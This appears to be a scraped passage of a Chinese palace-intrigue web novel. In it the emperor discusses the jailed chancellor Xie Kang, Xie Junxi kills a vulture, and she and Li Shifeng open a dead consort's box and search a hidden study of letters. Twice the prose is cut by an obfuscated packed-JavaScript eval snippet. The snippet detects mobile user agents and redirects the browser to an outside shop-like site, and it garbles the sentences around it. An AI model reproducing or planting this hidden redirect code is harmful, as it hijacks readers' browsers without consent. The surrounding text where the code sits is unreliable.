“陛下,臣……臣尽量吧……”杜寿年虽不是第一次私下受皇帝召见,但此去江南,京城的事只是堪堪入了些耳,了解得并不全面,只从李时丰同他的书信往来中,知道了香楼案告破、九皇子认祖归宗……当然,还有纵火案重启这几件事,其余的细节,一概不知。 只是如今陛下这番模样,显然是对衡王与李时丰的作为很是满意。 罢了,待之后再向时丰问询吧…… “嗯,如此甚好。”赵砚宸又拿起酒壶,替自己斟了一杯。 杜寿年见状,拿起自己的那杯同皇帝就势碰了杯。 “谢卿已在诏狱快三月,朕见他依旧怡然自乐,这份心性朕着实佩服,爱卿这次下江南,亦往谢康旧乡查探过了?” 皇帝换了个坐姿,终于说起正事来。 “是,臣拜访了太仓,蒙陛下圣恩,有幸见到此地的丰饶,但臣便衣行于民间时,可以常听此地的人们提起谢相的事。” “谢康在太仓本就不是什么小人物,倒也正常,说了些什么。”赵砚宸感兴趣地放下手中的酒杯。 “陛下,真的要臣说吗?” 杜寿年面露为难之色。 “怎么,难道是什么大逆不道之言吗?” 赵砚宸挑眉。 杜寿年没有回话。 …… 燕德海觉得有些不妙,他在一旁拿袖子拂去额间冒出的冷汗,正想打圆场,赵砚宸却先开口:“你说,朕听着,你们平日里头总是夸赞朕,嘴里没一句不好的话,可若是太仓小民之言朕都听不进去,那朕算什么福泽百姓的好皇帝。” 杜寿年眼里流露出敬佩之色:“大辰能有陛下这般圣君实乃江山社稷之幸。” 赵砚宸自是做出一副洗耳恭听的模样。 “臣知道,陛下将谢相押入诏狱听候发落这一决断,是为了给群臣和天下百姓一个交代,谢相是否真的贪腐,这事理应有足够的证据来证明,臣一直以证据说事,不判无证之罪,时丰亦是如此。臣到太仓,所到之处凡提及谢相,皆以信谢相无贪墨之举言之,更有甚者……直呼陛下之旨意乃空口无凭之说,定是有人要加害于谢相……” 杜寿年后面说的话,简直是十个脑袋都不够掉的,燕德海眼睁睁看着皇帝的面色愈加难看,连方才仅有的笑意都不见,心里暗叫不好。 谁知赵砚宸只是捏紧了手中的酒杯,却并没有当场勃然大怒。 杜寿年正要继续说下去,“嘭”的一声,他刚要出口之言被打断,赵砚宸抬起头来,却是另一副神情:“杜卿,不必再往下说了,朕已知晓,若谢康真如他们嘴里说的一般好,京城则更应加快证明有关谢康一事的查证,这些年来,他做的事,朕桩桩件件,俱看在眼里,百姓们不知道什么事据,不知道查案一事之繁琐,牵扯甚广,只知道谁对他们好,他们就向着谁,朕年轻时经历过,因此深知他们嘴里说的话,有些虽不堪入耳,但实乃真情实感之流露。所以,谢相之言,先尽于此吧。” “是,陛下。”杜寿年没有想到皇帝竟真的可以站在百姓的角度去考量这件事,眼里光芒更甚。 “等一下,朕还有一事,关于谢相的最后一件事。”赵砚宸突然想起了些什么,又将话题拉了回来,“谢相是否,还有一个已及笄的女儿?” 杜寿年点头,只是他不知道的是,李时丰在传信中提及的女子便是谢相嫡女。 “朕对她有些印象,倒也同那老家伙一般,有些聪明伶俐,但还算是温婉清丽,只近来京中对于她的事,竟没有什么可说的,也是怪哉,此女可怜,被禁足府中,朕理应也宽慰些,之后便许他们家一门好婚事吧。”赵砚宸扶住下巴思索着。 “陛下宅心仁厚,臣敬之。”杜寿年对此事并没有什么异议。 “还有……” 这边天子正要继续说下去,突觉楼下传来些异响,一旁站着的燕德海先警觉起来,一个眼神给到门外站得笔直等的禁军,示意他们下楼查看。 日后要被圣上赐予好婚事的谢筠熙此刻正不知所措跌坐在地上,地上俨然是那鹫鸟的尸首。 不是吧……我竟然亲手杀了这鹫鸟? 谢筠熙正处于震悚状态,李时丰一时之间也没有反应过来,赵泓玉的目光则由意外转为兴奋。 时间回溯到一刻之前。 赵泓玉正苦恼要怎么处理鹫鸟的事,谢筠熙却站起身来,向李时丰要来了横刀。 灵蛇被她大胆的举动吓了一跳,下意识护在赵泓玉跟前,谁知谢筠熙拔刀出鞘,径直走向窗口,竟直直将那窗口彻底掀开。 那鹫鸟闻到更加清晰的血腥味,径直往屋内冲来,灵蛇依旧站在赵泓玉身前,那鸟扑棱着翅膀,发出兴奋地的嘶鸣声,尖嘴直直朝向灵蛇的伤口处,将此间屋的人都吓得手忙脚乱。 谢筠熙的大脑一片空白,几乎下意识拿着李时丰的横刀冲那鸟砍去。 那乌黑的刀身锋利至极,鹫鸟还没有反应过来,就被谢筠熙斩断了脖颈,发出凄厉的惨叫,最后栽倒在喷涌的血泊里。 谢筠熙眼睁睁看着它倒在地上,浑身的血液都往一处奔去,只觉得燥热不堪,连带大脑都烧起来,额头渗出细汗,紧握在手里的刀柄几乎要生生嵌进肉里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754695|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到四周静下来,那鸟彻底没了生息,谢筠熙才逐渐清醒过来。 李时丰很快从这场突发的事件中反应过来,他立马夺了谢筠熙手里的横刀,精准地扶住差点腿软倒地的谢筠熙。 “啪啪啪” 半晌赵泓玉鼓起了掌,看向谢筠熙的眼里写满了赞赏。 “熙老板真是好身手。”赵泓玉的声音传进耳中时,谢筠熙已经意识到自己做了什么,但出乎意料的是,她竟然没有因此而精神错乱,反而变得更加冷静淡然。 “殿下,这只鸟要怎么处理?”谢筠熙轻轻拍开李时丰的手,示意他自己没事,这才盯着那死鸟问起赵泓玉。 “将它放在此处吧,我们来不及收拾了。”赵泓玉踱步到桌边。 “可是陛下……”谢筠熙有些迟疑。 “禁军很快就会下楼查看,本王一会出面与他们说,你们两个先躲起来。”赵泓玉拿起凉透的茶水,抿一口又重重放了回去。 灵蛇立刻会意,捂住自己的伤口倒在地上。 赵泓玉打开藏于内壁的暗间,让李时丰将谢筠熙带进去。 “谢筠熙,你方才在想什么?”李时丰关门之前,问了最后一句话。 “如果一定要让我选的话,我既然身处大辰,也理应为最善的结果做打算。”谢筠熙快速说完了这句话,自己把门带上。 不多时,纷杂的脚步声在屋内响起,谢筠熙知道,是禁军来了。 果然,看见赵泓玉的那一刻,门外的禁军齐刷刷作揖向三殿下问好,这队禁军的统领进屋查看方才的情形。 一只被斩首的鹫鸟、一名倒地中伤的春满园女侍、一位怀里揣着尚未干血横刀的少卿大人以及淡定喝茶的衡王,一切都可以说明方才发生了什么。 “王爷可有伤着?这偌大的京城哪里来的鹫鸟。” 禁军统领显然见过世面,很快就认出了地上死鸟的种类。 “本王也不知,方才正与时丰相谈甚欢,谁知飞进来这鹫鸟,伤了这位姑娘,又差点伤了本王,好在时丰反应快替本王斩了这畜生,最好不要让本王知道这是谁家的鸟不然,本王不会放过他。” 赵泓玉说着,将手里的茶杯摔到地上。 禁军统领被他的架势吓了一跳,忙不迭地请罪:“若属下方才听到王爷遇此等祸事,就应来得更快些,是属下失职,让王爷受惊了。” “无碍,此事与你们无关,话说为何这小小的一个酒楼会有这么多禁军,莫非是……”赵泓玉特意没有说完。 那禁军统领眼看着也是个人精,连忙接上话:“是是是,是……大人在这里,只是没想到今日殿下竟也在此。” “本王原以为大人来了,是要将此地彻底封死,只是没想到你们的人说那位大人吩咐不容许打扰小店正常营业,实在有心了。”赵泓玉和那禁军统领一唱一和,总算是把话讲完了。 禁军临走时,赵泓玉解释了引来那鹫鸟的原因:“许是因为这道菜吧。” 他指了指桌上那半生不熟的肉。 “那鸟贪嘴想冲进来吃,不过若是有人蓄意为之,本王自会查明,不牢你们费心了。”赵泓玉说罢又转向灵蛇,“这位姑娘,让你受惊了,本王会为你找京城最好的医师治伤,绝对不会留下疤痕。” 说到这里,赵泓玉赶人的意思就很明确了。 禁军统领不敢不懂,慌忙告辞:“殿下,若是无事,属下就先走了。” “去吧,守好那位大人。”赵泓玉拿出玉骨扇冲那禁军统领摆了摆手。 直到门外那纷杂的脚步声渐远,谢筠熙才敢从暗房里出来,那些禁军听见赵泓玉要自己处理,连那鹫鸟的尸体都没有拿走就立刻离开了。 谢筠熙沉默地望向地上那死鸟,一时之间不知道该说些什么。 “我们现在回一趟大理寺吧,将这死鹫一并带回去。”赵泓玉同李时丰使了个眼色。 “是。” 灵蛇也一并被带回了大理寺,至于那禁军统领同当今天子说了些什么,便不能得知了。 只是第二日衡王遭遇暗杀,在京城之中搜寻养了鹫鸟的人家一事,得到了皇帝的默许。 从柳府回来过了整整三日,最近他们的果然安分了些,连带赵璟曜都没了什么动作,这其中的缘由,只有谢筠熙他们几个人可以得知。 谢筠熙紧盯着那两枚断箭和妆匣,思索着那柳叶佩的下落,前日事情发生的得太突然了,谢筠熙忘记询问赵泓玉有关柳叶佩的事,偏偏他这几日又神龙不见尾,日日上朝被皇帝召见,忙得脚不沾地,李时丰更是忙碌,因为耽搁了两日的公务,此刻必须立刻补起来,还要想好失踪的理由,着实头疼。 谢筠熙重重叹了一口气。 灵蛇这几日被留在大理寺美名其曰修养生息,见谢筠熙叹气,凑上前来问她发生了什么。 “也不知那柳叶佩去了哪里,之前藜姐姐走得急,都没来得急问,这几日殿下又忙得不行,唉……” “柳叶佩?它在陛下那呢。”灵蛇回答了她的问题。 “什么?!” 52. 遗信 “陛下那?”谢筠熙反复确认。 “谢小姐,我还能骗你不成。”灵蛇将手背在身后,看谢筠熙那诧异的模样,不由觉得有些好笑。 “好吧,藜姐姐最后在陛下那待过一段时间,若将贵妃遗物给了陛下倒也正常……”谢筠熙来回踱着步,嘴里念念有词,“可是要怎么把柳叶佩取回来呢……现在急需那东西来开匣啊……” “谢小姐若是想要,何不托殿下前去向圣上索要,陛下向来公事公办,若说清楚缘由,不会不交予殿下。”灵蛇趴在桌边,两手托住下巴,脑袋随谢筠熙转动着。 “有道理诶!小灵蛇你真是个天才!”谢筠熙突然停下,给了灵蛇一个大大的拥抱,并且将不安分的爪子伸向她柔软的发间,使劲揉了揉。 “呃?”灵蛇被谢筠熙吓了一跳,直到谢筠熙和自己分开都在发懵。 没有人像谢筠熙这样对她做过如此亲密的举动,甚至从小到大她从未被这样善意对待,灵蛇望着谢筠熙离去的背影,心里多了些从未有过的感受。 谢筠熙光顾着兴奋,没有注意到灵蛇的不对劲,她正要走到大理寺门口,就看见李时丰那鲜红的官衣一角。 谢筠熙正要迎上前,还没把“大人”二字喊出口,李时丰身后那抹紫色身影就让她堪堪把话停在了喉间。 杜寿年!差点忘了他如今也回京了,李时丰应当还没有与他说有关我的事吧,我是不是应该找个地方先躲一躲比较好。 眼见那一红一紫的身影将近,谢筠熙慌乱得有些六神无主,她急急环顾一周,终于发现了一处石头后的藏身之所。 李时丰前脚刚踏进大理寺的门槛,谢筠熙几乎是翻身闪到那块石头背后,牢牢扒住边缘看着那两人越走越远。 李时丰分明看见刚刚走进大门的一瞬,似乎有什么东西一闪而过,他顿了顿,停下脚步试图寻找异常之处,不多时他就看见了不远处草丛巨石里那只白皙的爪子,心下了然。 谢筠熙又在做什么…… 纵使他此刻心存疑虑,但他有事同杜寿年商讨,眼见着大理寺卿已经踏入正厅,他也只能抬脚跟上。 另一边谢筠熙见那二人进了屋子,关上屋门的人那一瞬,她立刻从石头背后绕出来,鬼鬼祟祟靠近那正厅,将耳朵贴到门上,企图偷听两位大人的对话内容。 “大人……”两人入座后,李时丰正要张口,一眼瞧见门上那倒映出来的黑色身影,话头被止住,原本想说的事到嘴边换了一副说辞,“您先看看这些,属下一会过来。” 他把最近几日总结的几份公文推到杜寿年跟前,自己起身走向门边。 谢筠熙听我半天里面都没有什么动静,正想着要不要离开,面前的门却突然打开,将谢筠熙吓得蹿出好几米。 “谢筠熙,你在做什么?”李时丰走出正厅,将门闭上,懒懒靠在门边,好整以暇地向谢筠熙问道。 “我我我……那个,大人,我本来打算出门来着。”谢筠熙好不容易才镇静下来,摸着砰砰直跳的胸口同李时丰解释。 “出门?去做什么?”李时丰皱眉。 “去想办法把柳叶佩弄来。”谢筠熙讪讪开口。 李时丰听罢想起了那意外得来的妆匣,心下了然。 “不用去了,本官已经将它取回,你跟本官进来吧。”李时丰抬了抬下颚,示意谢筠熙过来。 “大理寺卿已经知道小女子的事了吗?”谢筠熙没有动,只是站在原地张望。 “还没,正好你来了,本官也省得叫你。” “啊……好吧。” 谢筠熙只得硬着头皮上前,被李时丰带进正厅内。 见李时丰出去不到半刻带回来一个有些羞怯的女子,杜寿年满脸疑惑的地放下手中的公务:“时丰,这位姑娘是?” “大人,此人便是此前在信中提到的那位手艺非凡的女子。” 杜寿年顺着李时丰所指看去,见那姑娘也正抬头看着她,不知为何面上有些眼熟,再一细看,杜寿年竟觉得她有些故人之姿。 “原来如此,这位姑娘,恕本官冒昧问一句,你的父亲也在朝中任职吗?” 杜寿年这一问,谢筠熙知道自己必须要如实交代自己的身份,只得回答:“回大人的话,家父谢康。” “丞相?!”杜寿年语气里带着惊诧,面色逐渐严肃,他抚顺官袍站起来,走到谢筠熙跟前。 谢筠熙被他这架势弄得有些局促,她不由自主地向后退了一步,脑子里竟冒出些奇奇怪怪的想法。 难道杜寿年和谢康也有交集?我这样贸然暴露身份是不是不大好…… 事实却与谢筠熙所想的截然不同,杜寿年竟反向她行了个礼:“竟是谢相之女,是本官失敬了。” 此乃何意?谢筠熙没有想到杜寿年对谢康的态度竟如此恭敬。 李时丰在一旁轻敲谢筠熙的后背,终于让她回过神来:“大人,小女子受不起这礼,是小女子冒犯了。” “无碍,本官对谢相为人心服口服,没想到他的女儿也如此德才兼备,时丰在信里同本官说了,这些日子查案是大理寺叨扰姑娘了。”杜寿年说得很认真,反倒让谢筠熙有些不大好意思起来。 “大人言重了……” “姑娘今日可是有要事?”杜寿年将谢筠熙和李时丰带到坐间。 “哦,小女子今日是来找大人索要柳贵妃之佩,前些日子有个物证需要用到此玉佩。”有杜寿年在场,谢筠熙说话都拘谨了不少。 李时丰在一旁暗笑。 “这样,时丰,本官记得你今日和殿下受陛下召见去御书房,其中可有此事?” 李时丰收起那淡淡的笑意,正经回答:“是,确有此玉佩的事,大人果真料事如神。” “现在交予姑娘吧,也好让姑娘早日行动起来。”杜寿年吩咐道。 “是。”李时丰不紧不慢地从衣襟掏出那两块玉佩,递给谢筠熙。 “多谢大人,没有别的事小女子就先告退了。”谢筠熙匆忙从李时丰手中抓过玉佩,拿指尖狠狠扎了他一下,留下一个月牙形的红印就落荒而逃。 李时丰没有阻拦,只是噙着笑看她走远的身影,掩于袖袍下的手不自觉地摩挲着被她掐过的地方。 “时丰,谢姑娘如此良善之人,你们理应多加照料以报其恩。”杜寿年亦满脸欣然望着谢筠熙离去。 “是,大人,这是应该的,属下定会殚精竭虑为谢小姐考量。”李时丰笑得深沉。 杜大人自然无法得知李时丰脑中究竟在想些什么,只是满意地点了点头。 拿到柳叶佩的谢筠熙红着一张脸跑回侧厅属于自己的房间,关上门后背靠在门板上顺势滑落,回想起李时丰那玩味的眼神,谢筠熙脑中轰然一响,似乎有什么东西正在破土而出。 他竟然写信告诉了大理寺卿有关她做的事,照大理寺卿那样的说法,想必李时丰为她美言了不少,可是她怎么也想不出来李时丰坐在书案前提笔写出这些信里的赞美之词,一想到自己和李时丰的互怼日常,谢筠熙竟然难得生出些诡异的愧疚感来。 不管了不管了!!先把那柳叶佩和妆匣的事给解决了! 谢筠熙痛定思痛,决定把这让她感到浑身不自在的事先抛之脑后,眼前的线索才是最重要的。 谢筠熙站起身来,深吸一口气,走到桌边,将那精心搁置于绒布里的妆匣双手轻轻捧起查看,对比那柳叶佩,上面空格的形状果真与她想象中一般,正好能与柳叶佩对上。 “果然!” 谢筠熙轻捻起柳叶佩,做足了心理准备后,她在心中念叨了三遍“柳贵妃无意冒犯,案件需要”,这才敢把玉佩主体部分小心翼翼地同玉穗和绑绳部分给分开拆下来。 用布包起那柳叶状的白玉,谢筠熙将它们小心翼翼地放入空格处,意外的是他们竟然如此严丝合缝,一点缝隙都没有空出,一声清脆的“咔嚓”声响起,谢筠熙将闭合的妆匣自外壁的凹槽处往上抬起,这个尘封已久的妆匣终于得以打开。 “呼……终于开了。”谢筠熙正好奇这里面会装些什么,想象中应当是谢小的珠玉首饰什么的,但看到的事物却与她想的截然不同。 那是一张叠得整整齐齐的竹纸,透亮的纸身可以隐隐印出些笔墨来,谢筠熙将它自匣中取出,一点一点打开了这份竹纸: 慕琴敬启。 自入宫以来,女儿之心,已独属于圣上一人,此后生为宫前人,死当宫后魂。但宫闱之中,寸步难行,如履薄冰,圣上予小女荣华富贵,衣食无忧,女儿不胜感激,然伴君如伴虎,宫中之日,如陷低沼,不可如飞鸟翱翔于天;不可如游鱼纵身清水。 小子尚在腹中,日后出世,女儿只恳请父亲莫重蹈覆辙,还其无忧之日,亦不要对其有利用之心,权势水深,女儿惟愿小子可欣悦终身,不为局势所困。 敬颂钧安。 是一封信。 只是末处似乎还有一行小字,如今褪去墨色,有些难以分辨。 谢筠熙眯起眼仔细想要看清那行字,但终究没能认清。 “唉……”谢筠熙将竹纸按原来的折痕整齐叠起来,放回妆匣里。 “怎么,是遇到难处了吗,哀声叹气的。” 谢筠熙正想把妆匣合上,就听见李时丰那熟悉的声音从门口传来。 “没有,大人,只是有些感慨。”谢筠熙转过身,眼里有些说不明道不清的情绪。 李时丰向那妆匣侧目,亦走上前去将它打开看起来。 “还记得柳贵妃是怎么薨逝的吗?”李时丰合上信纸。 “难产血崩……藜秋说,恐遭人陷害……而贵妃,早已知晓!”谢筠熙猛然抬头。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767897|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信纸的末处,似乎有一段小字,你能看清吗?”李时丰没有接话,而是将手指向那处模糊不清的墨迹。 “暂时还没有办法看出来,不过方法总比困难多。”谢筠熙开朗一笑。 “本官和大人的信里也提了你这一优处,就知道你会这么说。” 李时丰这顿夸来得莫名其妙,让谢筠熙老脸一红。 “大……大人,别说了。” 见她扭捏的模样,李时丰心下了然:看样子是吃软不吃硬啊…… “好……好了!”谢筠熙及时止住话头,“大人最近有什么进展吗?” “你指的是哪件事?”李时丰笑盈盈走近谢筠熙。 “旧案!”谢筠熙连连后退。 “有啊,纵火案一事多亏了谢姑娘助力,那断箭被送去查验,有淬热油的痕迹,当日镇北将军归京,晚间开庆功宴,备了数坛好酒犒劳随军出征的将士,这箭矢上的热油与酒相触,必引起熊熊大火,本官听幸存之士之言,将军夫妇为了疏散众人,不惜以身救火迟迟未离去,最后葬身火海……” 李时丰的声音逐渐低落,谢筠熙静静听他说着,亦是心痛不已,她轻抚李时丰的肩膀,已没了方才的腼腆,满脸俱是肃穆。 “所以真正杀害镇北将夫妇的人,是柳家的人?”谢筠熙一语道出。 李时丰没有说话,只是沉重地点了点头:“他们柳家脱不了干系。” “镇北将军执虎符于一方,军威赫赫,功绩无数,可他对大辰是至忠之臣,没了他守北萧,大辰不就少了一道强有力的屏障,柳家若只是为了争权夺利谋害将军,岂不是搬起石头砸自己的脚?” 李时丰凝神细想:“柳无涯向来为达目的不择手段,但也不至愚笨至此。” “可柳家万一真的有这样的蠢人呢?” 谢筠熙和李时丰不约而同地想到了柳洵。 “我记得大人说,前几日在柳府从柳洵嘴里套出了些话?” “嗯,不过此人狂妄至极,他同本官挑衅,说柳家向来扶持景王,日后必是他登上皇位,又说本官与爹一样,终究会成为败犬,泛泛之言罢了,不足为惧。” 李时丰眉头紧锁,面露嫌恶之色。 “等一下,大人,柳贵妃那信。”谢筠熙突然灵光一闪。 “怎么?”李时丰往后挪了挪,腾出地方让谢筠熙来到桌前,又将竹纸拿起来。 她将那纸翻开,平整地铺到桌面上,又用指腹细细抚过那些折痕,半晌她将纸面翻过来,空白的纸背面前沿有一行莫名有些突兀的墨迹,她将那处翻刚到提字的一面,又缓缓移到那行奇怪的小字上,轻轻折平。 “大人快来看!这里有字!”谢筠熙兴奋地扭头同李时丰叫起来。 “是那密语?”李时丰低下头凑近谢筠熙指着的那字,竟发现那字是如此熟悉。 “洵恐勾结外蛮。”谢筠熙艰难地将那几个字辨认出来。 “此事,要上报陛下吗?”谢筠熙惊诧地转头,一双圆目睁得老大。 “暂且不要动风声,还未找到实质性的关键证据,贸然行动,反而会出事。”李时丰镇静下来,仔细考量着。 “为什么柳贵妃会知道?!”谢筠熙有些无法理解这一点。 “只怕是截到了什么关键线索……谢筠熙,跟我再回镇北府一趟。”李时丰突然抓起谢筠熙的胳膊。 谢筠熙和李时丰果然默契依旧:“大人是觉得,柳贵妃会和镇北将军夫妇相识?!” “怎么不可能,我娘和我爹同我不一样,他们未出塞之前是地地道道的京城人,柳贵妃的年岁和他们相近,极有可能有交集。” 谢筠熙停下脚步,反将李时丰往后拽:“等等等等,大人,我们不能这样光明正大地进镇北府,你忘记柳家那不厚道的行为了吗?” 李时丰一腔沸腾的血液安分下来,难得露出迷惘的神情。 谢筠熙吭哧吭哧从床尾拖出自己的那套工具:“易个容再走吧大人。” “好。”李时丰回过神来,看向谢筠熙的眼神不自觉地柔和起来。 两人正要开始,门外却突然传来了一阵敲门声。 “进。”李时丰任由谢筠熙在自己脸上涂抹。 “大人,方才听见你们又要去镇北府?” 进门的是多日不见的陆贰和徐柒。 “嗯。”李时丰也没气被偷听一事。 “老大,你有需要我们做的事吗?”徐柒主动开口。 谢筠熙知道他们是在为之前镇北府的疏忽愧疚,她比李时丰先一步开口:“不必劳烦二位,我和大人两人去比较隐蔽,但希望你们能去找殿下进宫一趟,说是要拜访一番那位贤妃。” “是!我们这就去!”陆贰立刻应声,拉着徐柒就离开。 谢筠熙望着他们风风火火的背影,不由有些失笑。 53. 往事 两人到达镇北府的时候,日头正盛,偌大的镇北将军府静悄悄的,没有一点声息,谢筠熙和李时丰这次也没有走正门,而是来到了先前被堵的那个小门边上。 “大人,这里先前被封上,如今怎么又被打开。”谢筠熙望着这狭小的门洞,挠头表示不解。 李时丰轻抚过有些破旧的门框,沉思一番回答:“应当是花昀来过这里,又将门打开了。” “原来是这样吗。” 花昀做事竟如此谨慎。 谢筠熙有些诧异。 “跟我来。”还没等谢筠熙在那感慨完,就被李时丰拉住胳膊拽进门里。 入目的依旧是那满目疮痍的府院,谢筠熙一愣,想起之前倒下的地方,不由有些好奇,她拍拍牵住胳膊的那只手:“大人,我想去看看先前被柳家的人迷倒的那块地方。” 李时丰这次却没有立刻答应下来:“一会再去,先跟着本官走。” “好吧。”谢筠熙只好暂时放下自己的疑心,任由李时丰牵着自己,可嘴里的话却依旧没有停下来,“大人,您在镇北府总共待过多长时日。” “年岁尚幼时几乎每年都要来这一次,只是后来北萧战事吃紧,来得次数便逐渐减少,直到北萧大捷那日之前,就再也没有来过。” 再来时,便是这副残败的模样。 李时丰没有说出那句话,他的心沉下去,满眼怆然。 “抱歉大人……” 李时丰回头看了谢筠熙一眼,不知是不是调笑:“谢筠熙,待一切结束,你和我一起将镇北府恢复原来那副模样好不好。” 谢筠熙被他这一眼看得有些发愣,但她很认真地思索了一番,才闷声答下:“好。” “多谢。”李时丰重新回过头。 他竟然在与我道谢吗? 谢筠熙心里涌起一阵难以言喻的感觉,但她说不清楚,只能以后再探究。 李时丰最后驻足的地方是镇北府后院的一处破旧石井。 “这里是能下去吗,大人。”谢筠熙第一时间就想到了这个。 李时丰抽出横刀,将生在井外的藤蔓一截截砍下来丢在地上,直到洞口足以通过一人。 “本官先下去探探。”李时丰纵身跳进井口。 “唉?”谢筠熙环顾四周的一片凄凉,还没来得及发表意见,就看见李时丰在井口消失不见。 不多时李时丰从洞口探出头来,伸手招呼谢筠熙过来。 等靠近深井,谢筠熙才发现那洞口其实并非一眼望不到头,洞壁处架了一截梯子,只是方才被藤蔓遮掩看不大出来。 随李时丰到了洞底,她从怀中掏出火折子点燃,幽幽火光下,洞内的时情形终于清晰了些。 “走吧。”李时丰指向面前下沉的石阶。 “镇北府竟然还有这等暗道,大人你是怎么发现的?”谢筠熙压低身子顺着石阶走下去,声音在洞内回荡。 “本官幼时爱在府内四处乱跑,某日不小心摔伤了腿,爹娘罚我在后院抄书思过,可我哪里是那样甘愿安分的人,偷溜出屋子的时候,就在深井里发现了这方天地。”李时丰用很寻常的话语同谢筠熙述说自己的过去。 想象之中一个日日上房揭瓦的小版李时丰在脑海中浮现,谢筠熙不由笑出了声。 “怎么?笑什么?”李时丰回过头。 “没什么,大人,只是想不到您现在看上去这般沉稳,小时候竟是顽皮的性子。”谢筠熙稍稍收敛了笑意,但扬起的嘴角却出卖了她的忍俊不禁。 “那你从前……是什么样的?”李时丰措不及防问出这个问题。 “我吗?”谢筠熙指了指自己,“我的话,嗯……总觉得我小时候比现在更成熟,长大了反而愈加幼稚了。” 李时丰有些惊诧:“为何?” “唉……若真心说,我觉得我的童年并没有像大多数家庭一般平常幸福,为了不让妈……我娘受更多苦,小时候我很听话,不愿意给她增加更多压力,不过后来我娘凭自己的努力走出了那片阴影,我很为她骄傲。” “抱歉。”李时丰垂眸。 “没事啦大人,待一切尘埃落定后,我可以与你讲讲未来的事,特别特别精彩,你一定会喜欢的。”谢筠熙说到这,两眼放着光,让李时丰不由晃了晃神。 “好。” 两人顺着石阶来到了一处类似书房的房间,那里放着一张桌案,一旁的书架上陈列着大大小小的信件,多数蒙了灰,可以看出很久没有人来过这里了。 “本官在此地发现过母亲的痕迹,那日发现这方天地后,时不时会下来看看,母亲似乎是在这里与人有交流,只是我一直都不知道究竟是谁。” “不会就是柳贵妃吧……未出阁之前?”谢筠熙说出自己心里的怀疑。 “如今也可以一探究竟了。”李时丰抚过书架,从里面抽出一封信件来。 可刚打开信件,李时丰的眉头就先皱了起来,谢筠熙顺着他的视线看向那纸,落款处赫然题着谢康的大名。 谢筠熙暗叫不妙,果然李时丰那探究的眼神就先望了过来,谢筠熙摇头。 我是真的不知道为什么这里可以看见老爹的名字啊! 惊疑不定之下,谢筠熙也抽出一封信,匆忙打开间看到了“柳慕琴”三个字,露出一副果真如此的神情。 “大人,将军认识的人还挺多。”谢筠熙讪讪笑着。 “是啊,本官似乎还找到事关花昀养父的信件了。”李时丰两指夹住现在翻阅的那封薄薄信件。 “什么?!”谢筠熙忙凑近。 “我们将这些信件整理一遍看看。”李时丰将方才拿出来几封信铺平分开放在桌上。 “也行吧大人。”谢筠熙拍拍手上的灰尘,又做出一副开工的模样。 “话说回来,大人你从前怎么不来这里看?”谢筠熙蹿到另一边的书架旁。 “本官既然已经决定不再以将军之子身份面世,自然不可以成天往这里跑,况且……在你提出翻案之前,本官对镇北王府,有些不知从何而来的逃避……” 哦,可怜的少卿大人…… 谢筠熙也能懂李时丰那份心理,论谁看见自己的至亲之人殒命之地,都会有难以言喻的痛苦。 “大人莫再伤心了,此事就快水落石出了,没准我们可以一石二鸟呢!”谢筠熙将自己的声音提高,尽量展现出乐观的一面。 “那便借你吉 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镇北夫妇得知后愤懑不已,对柳家之怨也由此升起,后柳慕琴进宫位至贵妃,荣华万千,帝百般宠爱,得知她怀上龙子更是欣喜若狂,柳贵妃重情重义,皇帝对她的好,她一一记下,亦拿出百般真心对待皇帝,可是她时常想起自己花沅希,青梅竹马的身影出现在自己梦中,却也只能远远观之,满含不舍,却带着几分释然。 对父亲的决断,柳贵妃有过怨恨,她知道自己不过是父亲棋盘里的一枚棋子,但她仍希望自己的孩子不被当成棋局的一份子,于是就有了妆奁里的那封信。 后来的后来,柳无涯便等来了自己的女儿难产而死的消息,又得知自己的孙子亦不复存在的噩耗。 不知道柳无涯是否真的后悔过自己的决定,可至少他现在看向九皇子的眼里,总带了一份犹豫和不解。 想来这对柳贵妃而言,便已足够。 而排最末时间的两封信,就是镇北夫妇出征的告离之信与谢康的回信。 读完这些信,李时丰和谢筠熙沉默了很久,一时之间不知道该对此事抱以何等心情。 “为什么最后这封出征离别是写给我爹的?”谢筠熙终于开口。 “要同时再回一次丞相府吗?陛下对府内的管制变得宽松了许多。”李时丰暗示。 “去!也许能找到我爹出狱的证据。”谢筠熙和李时丰一拍即合。 “本官也有疑问。”李时丰和谢筠熙将所有信件全部装进布袋里,爬上井口又把井口用藤蔓掩盖上。 “若本官没记错,谢相劝陛下放过贵妃生产那日的宫女性命。” “对。” “秋芸亦受过谢康的恩惠。” “对。” “连你的好友艾诺也曾因为商事和京城落户的事受过谢康救助。” “对……” “这样说来……若本官没有记错,之前偶然听爹娘提起过,当今丞相与京城的风貌几乎格格不入?” 谢筠熙自然知道李时丰所说的京城风貌到底是什么,她一拍掌:“所以之前大理寺卿也说他敬佩谢相的为人。” “所以我爹就是个大好人!” “所以你爹就是个善意泛滥的人!” 二人异口同声。 54. 丞相府 两人说完都愣在了原地,李时丰尴尬地轻咳一声结束这个话题:“去了便知道了。” “嗯嗯,也是哈哈哈哈哈。”谢筠熙顺着李时丰的话往下说。 这是谢筠熙第一次真正意义上踏足丞相府,这具身体的“家”。 